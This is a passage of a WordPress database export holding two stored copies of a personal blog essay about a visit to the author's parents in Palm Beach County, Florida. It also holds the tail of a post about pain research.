seen. The full name is even harder to pronounce: Uridine diphosphate N-acetylglucosamine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thinking-about-a-cure-for-pain-again#footnote-anchor-3-153607688\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Way less fun than it sounds. SUMO are small ubiquitin-like modifiers.</p>\n<!-- /wp:paragraph -->','Thinking about a cure for pain, again','','inherit','closed','closed','','504-revision-v1','','','2025-07-03 19:32:31','2025-07-03 19:32:31','',504,'https://trevorklee.com/?p=505',0,'revision','',0),
(506,1,'2025-07-03 19:33:17','2025-07-03 19:33:17','<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/@trevorklee\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I visited my parents in Florida with my girlfriend last week. This was not the first time I went to Florida, or the second, or the third, or the tenth. I’ve been to Florida so many times. Outside of the states that I’ve lived in (Massachusetts, Connecticut, and New Jersey), it is by far the state I’ve spent the most time in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really by choice. Now, don’t get me wrong, I like Florida fine in terms of geography. It’s warm, sunny, and generally pretty along the coast, and it provides a welcome respite from New England’s harsh winters. It’s the self-interested mentality of Florida that I’ve never liked<a href=\"https://trevorklee.substack.com/p/reflections-on-a-brief-visit-to-florida#footnote-1-153686102\">1</a>. Florida, perhaps more than any other state, has turned its mentality into a self-perpetuating mythology. Those who are attracted to the way Florida portrays itself tend to move there, which strengthens the Florida mentality. This periodically erupts into Florida headlines, adding more color into the Florida mythology and driving more people who are attracted by that to move there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!yx1o!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde4a46ee-0f4f-4a96-9578-fb6cc11f77b8_1600x1067.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!yx1o!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde4a46ee-0f4f-4a96-9578-fb6cc11f77b8_1600x1067.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is from a Florida news website. Note that the bottom article is “Top 10 wackiest Florida man (and Woman) headlines”. As I said, Florida revels in its own mythology.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But my parents are there. So I go there and spend time with my parents, just as I went when I was little to play tennis at vacation resorts<a href=\"https://trevorklee.substack.com/p/reflections-on-a-brief-visit-to-florida#footnote-2-153686102\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribe for more occasional personal essays.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This time, as I mentioned, I went with my girlfriend, who is relatively new to the US in general and has never been to Florida before. So, I once again got to play the part of tour guide with her, just as I had in California, and see Florida through fresh eyes. Here was our experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>West Palm Beach airport</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. The West Palm Beach airport is an eminently functional airport. It’s small, easy to get through, and technically has restaurant options, if you count Chili’s as a restaurant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Its advertisements are for surgeons (especially plastic surgeons), real estate, and, new to the airport this year, a lifesized dinosaur advertising a dino safari. There are almost no advertisements directed at business travelers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. The population of the airport is predominantly a mixture of the incredibly old, families with small children, and, weirdly enough, ultra Orthodox Jews. Childless adults visiting their parents (like myself) are a small but significant minority.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. It’s easy enough to take an Uber or car from the airport to your destination from the airport. This is good, because there are literally no public transportation options. Literally none. Every time I check Google Maps for public transportation in Florida, it suggests walking or taking a Lyft. That’s not a joke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!1ZgB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe90a9b0d-eeca-432e-bf6a-83de45961dfa_2526x1121.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!1ZgB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe90a9b0d-eeca-432e-bf6a-83de45961dfa_2526x1121.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">For example, if you want to go from one of Trump’s resorts to the beach, your option is to drive for 9 minutes or walk for an hour alongside an incredibly busy highway under 80 degree sun. Those are your only options. Fortunately, along the way you can stop at either a Jehovah’s Witnesses’ church or the local dry cleaners for a quick breather.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>The Palm Beach area</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. My parents live in Palm Beach County. Palm Beach County’s most notable function is to serve as a container for gated communities, including the Trump National Golf Club, which Wikipedia informs me that Trump once hosted Shinzo Abe at. Palm Beach County also serves as a container for many drug and alcohol rehabilitation communities,&nbsp;<a href=\"https://www.nbcnews.com/feature/megyn-kelly/florida-s-billion-dollar-drug-treatment-industry-plagued-overdoses-fraud-n773376\">which have specialized in ripping off health insurance companies by unnecessarily urine testing their patients without actually helping their patients get better</a>. The drug and alcohol rehab facilities have supposedly cleaned up their act since the major scandals were last unveiled (2017), but I doubt it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Trump’s flagship property and residence, Mar-a-Lago, is also in Palm Beach County. When Trump was president, he would regularly shut down all the highways and the airport so that he could travel to and from Mar-a-Lago. This was incredibly annoying and I’m not looking forward to him doing it again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. My parents do not live in a Trump branded gated community. They do live in a gated community, and it is heavily Trump supporting, and it does contain at least one current member of Trump’s inner circle, but it is not Trump branded. Thank goodness for small miracles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>My parents’ gated community</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. The most important thing to note about my parents’ gated community is that it is seriously gated. There are electronic fences, armed guards, patrol cars and patrol boats. This is because everyone in Florida is terrified of everyone else, and so they’ve all armed themselves to the teeth or hired other people to do so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!BpSM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1bde74aa-1bf6-4b2d-a7c7-24784b6fe7b8_961x1280.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!BpSM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1bde74aa-1bf6-4b2d-a7c7-24784b6fe7b8_961x1280.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Great vibes.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>2. The gated community is accidentally walkable, unlike the rest of Florida. This is because it was built around a golf course, and the paths that were designed for golf carts turn out to be great walking paths as well. That being said, if I do die one day in Florida, it will be because a 70-year-old woman ran me down from behind with her golf cart.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. It also has great bird watching and animal watching in general. The canals, water traps, bunkers, and sand traps of a golf course are great for creatures of all sorts. While in my parents’ gated community, we saw ospreys, cranes, egrets, ducks, anoles, and iguanas. Unfortunately, many of the most beautiful creatures are actually descended from escaped pets and so are invasive. On the other hand, so are we.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. One remarkable sound that can be heard late at night outside of the gated community: trains. Florida’s recently built a quite nice, privately funded passenger train connecting south Florida’s major cities called Brightline. As it turns out, if you just let people build things, private industry can build infrastructure and make it profitable. If you don’t let them build things, then all the public funding in the world won’t help you (looking at you,&nbsp;<a href=\"https://en.wikipedia.org/wiki/California_High-Speed_Rail\">California</a>&nbsp;and also&nbsp;<a href=\"http://www.northsouthraillink.org/\">Massachusetts</a>).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Florida outside gated communities</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. My girlfriend and I tried to get outside the gated community where we could. This involved borrowing my parents’ SUV and boating it around the Florida highways. Florida, contrary to popular belief, does have both sidewalks and bike lanes. Unfortunately, everything is spaced incredibly far apart, so walking on the sidewalk usually involves walking for at least a mile with a highway on one side and dense underbrush on the other. Biking involves biking on unprotected bike lanes while old people and people currently rehabilitating from cocaine zoom by you at 90 miles per hour in a Mercedes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, for the most part, nobody walks or bikes. People do walk in the strip malls, usually from their car to the door and back. While it’s possible to walk in one strip mall, walking from one to another is difficult, even if they are on the same side of the highway. If they are on opposite sides, it’s impossible, as there are zero crosswalks. Getting from one strip mall that’s on the north-going side to another on the south-going side involves either running across 6 lanes of traffic (which we did a couple times) or getting in your car to drive 30 seconds total.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. The strip malls themselves actually have quite a few fun little shops. Real estate is cheap and parking is plentiful in Florida. Zoning is also very permissive, so it’s easy to set up a random restaurant or store and start selling stuff pretty quickly. I’m not saying this makes Florida a cultural mecca by any stretch, but it is a lot better than it could be. While we were there, we got serviceable French and Venezuelan food, and almost went to a place offering Korean spa services.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Going along with the wildlife theme, while we were there, we visited a zoo/rehab facility and a sea turtle rescue. Both of these were fun little spots that, amazingly, were completely donation-based. You can go there without paying a dime, if you are so inclined. As it was, I spent $50 for the zoo, which was kind of an accidental rip-off because their only animals are animals they are currently rehabilitating. At least we got to see black bears, a hyperactive otter, and an incredibly neurotic raccoon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Our big trip was to Fort Lauderdale, which was about an hour’s drive. Fort Lauderdale is famous for its Riverwalk, which is really a short walk alongside a canal. The canal itself is unimpressive and would take about 30 seconds to swim across, but it is impressive how many condos they managed to stick next to it and how many large boats they managed to put into it. One of the largest boats was called Rearden Steel, which was a fun reference. Anyways, the highlight of that trip for both of us was a dove who perched on the rotating weathervane on top of one of the boats and seemed to be having a great time spinning around.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Final ratings for Florida</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4.5/5 for weather and natural beauty, 2/5 for culture, 5/5 for aggressive signs on boats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!JQJx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4504556a-fc59-46ed-bb36-110e632b647e_543x796.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!JQJx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4504556a-fc59-46ed-bb36-110e632b647e_543x796.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/reflections-on-a-brief-visit-to-florida#footnote-anchor-1-153686102\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: when I say Florida in the following essay, I mean southeast Florida unless stated otherwise. I haven’t spent a lot of time elsewhere in Florida. Florida, for those of you who are unfamiliar, is basically divided up into the following sections:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. North Florida, which is culturally South and still misses slavery.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Orlando, which is a subsidiary of Disney Inc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Southeast Florida, which is part of the migratory path of Jewish Northerners and associated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Southwest Florida, which is where I believe Midwestern retirees live, although I literally have never been there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Miami, which is the capital of Latin America.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/reflections-on-a-brief-visit-to-florida#footnote-anchor-2-153686102\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the resorts we went to, Saddlebrook, has fallen into a state of&nbsp;<a href=\"https://www.google.com/travel/search?q=saddlebrook%20resort%20florida&amp;g2lb=4965990%2C4969803%2C72277293%2C72302247%2C72317059%2C72406588%2C72414906%2C72421566%2C72471280%2C72472051%2C72481459%2C72485658%2C72499705%2C72560029%2C72573224%2C72614662%2C72616120%2C72619927%2C72647020%2C72648289%2C72658035%2C72686036%2C72760082%2C72803964%2C72808078%2C72832976%2C72847694&amp;hl=en-US&amp;gl=us&amp;ssta=1&amp;ts=CAEaRgooEiYyJDB4ODhjMmIxYTRhMjMwNTgzNToweGQ4ZDcwMjY2OTNiODVjZRIaEhQKBwjpDxABGAkSBwjpDxABGAoYATICEAA&amp;qs=CAEyE0Nnb0l6b3Z1eWVhRTNNWU5FQUU4AkIJCc6FO2kmcI0NQgkJzoU7aSZwjQ0&amp;ap=ugEHcmV2aWV3cw&amp;ictx=111&amp;ved=0CAAQ5JsGahcKEwjInJbZ_cWKAxUAAAAAHQAAAAAQEA\">apparently horrendous disrepair</a>&nbsp;after being bought by developers from Miami in a firesale. The other one, the Colony, has been&nbsp;<a href=\"https://www.sarasotamagazine.com/news-and-profiles/the-collapse-of-the-colony\">demolished completely</a>. Sudden rises to and falls from grace are par for the course in Florida. I assume my parents’ gated community will also suddenly fall apart in 20 years.</p>\n<!-- /wp:paragraph -->','Reflections on a brief visit to Florida','','publish','closed','closed','','reflections-on-a-brief-visit-to-florida','','','2025-07-03 19:33:17','2025-07-03 19:33:17','',0,'https://trevorklee.com/?page_id=506',0,'page','',0),
(507,1,'2025-07-03 19:33:17','2025-07-03 19:33:17','<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/@trevorklee\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I visited my parents in Florida with my girlfriend last week. This was not the first time I went to Florida, or the second, or the third, or the tenth. I’ve been to Florida so many times. Outside of the states that I’ve lived in (Massachusetts, Connecticut, and New Jersey), it is by far the state I’ve spent the most time in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really by choice. Now, don’t get me wrong, I like Florida fine in terms of geography. It’s warm, sunny, and generally pretty along the coast, and it provides a welcome respite from New England’s harsh winters. It’s the self-interested mentality of Florida that I’ve never liked<a href=\"https://trevorklee.substack.com/p/reflections-on-a-brief-visit-to-florida#footnote-1-153686102\">1</a>. Florida, perhaps more than any other state, has turned its mentality into a self-perpetuating mythology. Those who are attracted to the way Florida portrays itself tend to move there, which strengthens the Florida mentality. This periodically erupts into Florida headlines, adding more color into the Florida mythology and driving more people who are attracted by that to move there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!yx1o!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde4a46ee-0f4f-4a96-9578-fb6cc11f77b8_1600x1067.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!yx1o!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde4a46ee-0f4f-4a96-9578-fb6cc11f77b8_1600x1067.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is from a Florida news website. Note that the bottom article is “Top 10 wackiest Florida man (and Woman) headlines”. As I said, Florida revels in its own mythology.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But my parents are there. So I go there and spend time with my parents, just as I went when I was little to play tennis at vacation resorts<a href=\"https://trevorklee.substack.com/p/reflections-on-a-brief-visit-to-florida#footnote-2-153686102\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribe for more occasional personal essays.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This time, as I mentioned, I went with my girlfriend, who is relatively new to the US in general and has never been to Florida before. So, I once again got to play the part of tour guide with her, just as I had in California, and see Florida through fresh eyes. Here was our experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>West Palm Beach airport</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. The West Palm Beach airport is an eminently functional airport. It’s small, easy to get through, and technically has restaurant options, if you count Chili’s as a restaurant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Its advertisements are for surgeons (especially plastic surgeons), real estate, and, new to the airport this year, a lifesized dinosaur advertising a dino safari. There are almost no advertisements directed at business travelers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. The population of the airport is predominantly a mixture of the incredibly old, families with small children, and, weirdly enough, ultra Orthodox Jews. Childless adults visiting their parents (like myself) are a small but significant minority.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. It’s easy enough to take an Uber or car from the airport to your destination from the airport. This is good, because there are literally no public transportation options. Literally none. Every time I check Google Maps for public transportation in Florida, it suggests walking or taking a Lyft. That’s not a joke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!1ZgB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe90a9b0d-eeca-432e-bf6a-83de45961dfa_2526x1121.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!1ZgB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe90a9b0d-eeca-432e-bf6a-83de45961dfa_2526x1121.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">For example, if you want to go from one of Trump’s resorts to the beach, your option is to drive for 9 minutes or walk for an hour alongside an incredibly busy highway under 80 degree sun. Those are your only options. Fortunately, along the way you can stop at either a Jehovah’s Witnesses’ church or the local dry cleaners for a quick breather.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>The Palm Beach area</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. My parents live in Palm Beach County. Palm Beach County’s most notable function is to serve as a container for gated communities, including the Trump National Golf Club, which Wikipedia informs me that Trump once hosted Shinzo Abe at. Palm Beach County also serves as a container for many drug and alcohol rehabilitation communities,&nbsp;<a href=\"https://www.nbcnews.com/feature/megyn-kelly/florida-s-billion-dollar-drug-treatment-industry-plagued-overdoses-fraud-n773376\">which have specialized in ripping off health insurance companies by unnecessarily urine testing their patients without actually helping their patients get better</a>. The drug and alcohol rehab facilities have supposedly cleaned up their act since the major scandals were last unveiled (2017), but I doubt it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Trump’s flagship property and residence, Mar-a-Lago, is also in Palm Beach County. When Trump was president, he would regularly shut down all the highways and the airport so that he could travel to and from Mar-a-Lago. This was incredibly annoying and I’m not looking forward to him doing it again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. My parents do not live in a Trump branded gated community. They do live in a gated community, and it is heavily Trump supporting, and it does contain at least one current member of Trump’s inner circle, but it is not Trump branded. Thank goodness for small miracles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>My parents’ gated community</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. The most important thing to note about my parents’ gated community is that it is seriously gated. There are electronic fences, armed guards, patrol cars and patrol boats. This is because everyone in Florida is terrified of everyone else, and so they’ve all armed themselves to the teeth or hired other people to do so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!BpSM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1bde74aa-1bf6-4b2d-a7c7-24784b6fe7b8_961x1280.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!BpSM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1bde74aa-1bf6-4b2d-a7c7-24784b6fe7b8_961x1280.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Great vibes.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>2. The gated community is accidentally walkable, unlike the rest of Florida. This is because it was built around a golf course, and the paths that were designed for golf carts turn out to be great walking paths as well. That being said, if I do die one day in Florida, it will be because a 70-year-old woman ran me down from behind with her golf cart.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. It also has great bird watching and animal watching in general. The canals, water traps, bunkers, and sand traps of a golf course are great for creatures of all sorts. While in my parents’ gated community, we saw ospreys, cranes, egrets, ducks, anoles, and iguanas. Unfortunately, many of the most beautiful creatures are actually descended from escaped pets and so are invasive. On the other hand, so are we.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. One remarkable sound that can be heard late at night outside of the gated community: trains. Florida’s recently built a quite nice, privately funded passenger train connecting south Florida’s major cities called Brightline. As it turns out, if you just let people build things, private industry can build infrastructure and make it profitable. If you don’t let them build things, then all the public funding in the world won’t help you (looking at you,&nbsp;<a href=\"https://en.wikipedia.org/wiki/California_High-Speed_Rail\">California</a>&nbsp;and also&nbsp;<a href=\"http://www.northsouthraillink.org/\">Massachusetts</a>).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Florida outside gated communities</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. My girlfriend and I tried to get outside the gated community where we could. This involved borrowing my parents’ SUV and boating it around the Florida highways. Florida, contrary to popular belief, does have both sidewalks and bike lanes. Unfortunately, everything is spaced incredibly far apart, so walking on the sidewalk usually involves walking for at least a mile with a highway on one side and dense underbrush on the other. Biking involves biking on unprotected bike lanes while old people and people currently rehabilitating from cocaine zoom by you at 90 miles per hour in a Mercedes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, for the most part, nobody walks or bikes. People do walk in the strip malls, usually from their car to the door and back. While it’s possible to walk in one strip mall, walking from one to another is difficult, even if they are on the same side of the highway. If they are on opposite sides, it’s impossible, as there are zero crosswalks. Getting from one strip mall that’s on the north-going side to another on the south-going side involves either running across 6 lanes of traffic (which we did a couple times) or getting in your car to drive 30 seconds total.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. The strip malls themselves actually have quite a few fun little shops. Real estate is cheap and parking is plentiful in Florida. Zoning is also very permissive, so it’s easy to set up a random restaurant or store and start selling stuff pretty quickly. I’m not saying this makes Florida a cultural mecca by any stretch, but it is a lot better than it could be. While we were there, we got serviceable French and Venezuelan food, and almost went to a place offering Korean spa services.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Going along with the wildlife theme, while we were there, we visited a zoo/rehab facility and a sea turtle rescue. Both of these were fun little spots that, amazingly, were completely donation-based. You can go there without paying a dime, if you are so inclined. As it was, I spent $50 for the zoo, which was kind of an accidental rip-off because their only animals are animals they are currently rehabilitating. At least we got to see black bears, a hyperactive otter, and an incredibly neurotic raccoon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Our big trip was to Fort Lauderdale, which was about an hour’s drive. Fort Lauderdale is famous for its Riverwalk, which is really a short walk alongside a canal. The canal itself is unimpressive and would take about 30 seconds to swim across, but it is impressive how many condos they managed to stick next to it and how many large boats they managed to put into it. One of the largest boats was called Rearden Steel, which was a fun reference. Anyways, the highlight of that trip for both of us was a dove who perched on the rotating weathervane on top of one of the boats and seemed to be having a great time spinning around.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Final ratings for Florida</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4.5/5 for weather and natural beauty, 2/5 for culture, 5/5 for aggressive signs on boats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!JQJx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4504556a-fc59-46ed-bb36-110e632b647e_543x796.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!JQJx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4504556a-fc59-46ed-bb36-110e632b647e_543x796.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/reflections-on-a-brief-visit-to-florida#footnote-anchor-1-153686102\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: when I say Florida in the following essay, I mean southeast Florida unless stated otherwise. I haven’t spent a lot of time elsewhere in Florida. Florida, for those of you who are unfamiliar, is basically divided up into the following sections:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. North Florida, which is culturally South and still misses slavery.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Orlando, which is a subsidiary of Disney Inc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Southeast Florida, which is part of the migratory path of Jewish Northerners and associated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Southwest Florida, which is where I believe Midwestern retirees live, although I literally have never been there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Miami, which is the capital of Latin America.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/reflections-on-a-brief-visit-to-florida#footnote-anchor-2-153686102\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the resorts we went to, Saddlebrook, has fallen into a state of&nbsp;<a href=\"https://www.google.com/travel/search?q=saddlebrook%20resort%20florida&amp;g2lb=4965990%2C4969803%2C72277293%2C72302247%2C72317059%2C72406588%2C72414906%2C72421566%2C72471280%2C72472051%2C72481459%2C72485658%2C72499705%2C72560029%2C72573224%2C72614662%2C72616120%2C72619927%2C72647020%2C72648289%2C72658035%2C72686036%2C72760082%2C72803964%2C72808078%2C72832976%2C72847694&amp;hl=en-US&amp;gl=us&amp;ssta=1&amp;ts=CAEaRgooEiYyJDB4ODhjMmIxYTRhMjMwNTgzNToweGQ4ZDcwMjY2OTNiODVjZRIaEhQKBwjpDxABGAkSBwjpDxABGAoYATICEAA&amp;qs=CAEyE0Nnb0l6b3Z1eWVhRTNNWU5FQUU4AkIJCc6FO2kmcI0NQgkJzoU7aSZwjQ0&amp;ap=ugEHcmV2aWV3cw&amp;ictx=111&amp;ved=0CAAQ5JsGahcKEwjInJbZ_cWKAxUAAAAAHQAAAAAQEA\">apparently horrendous 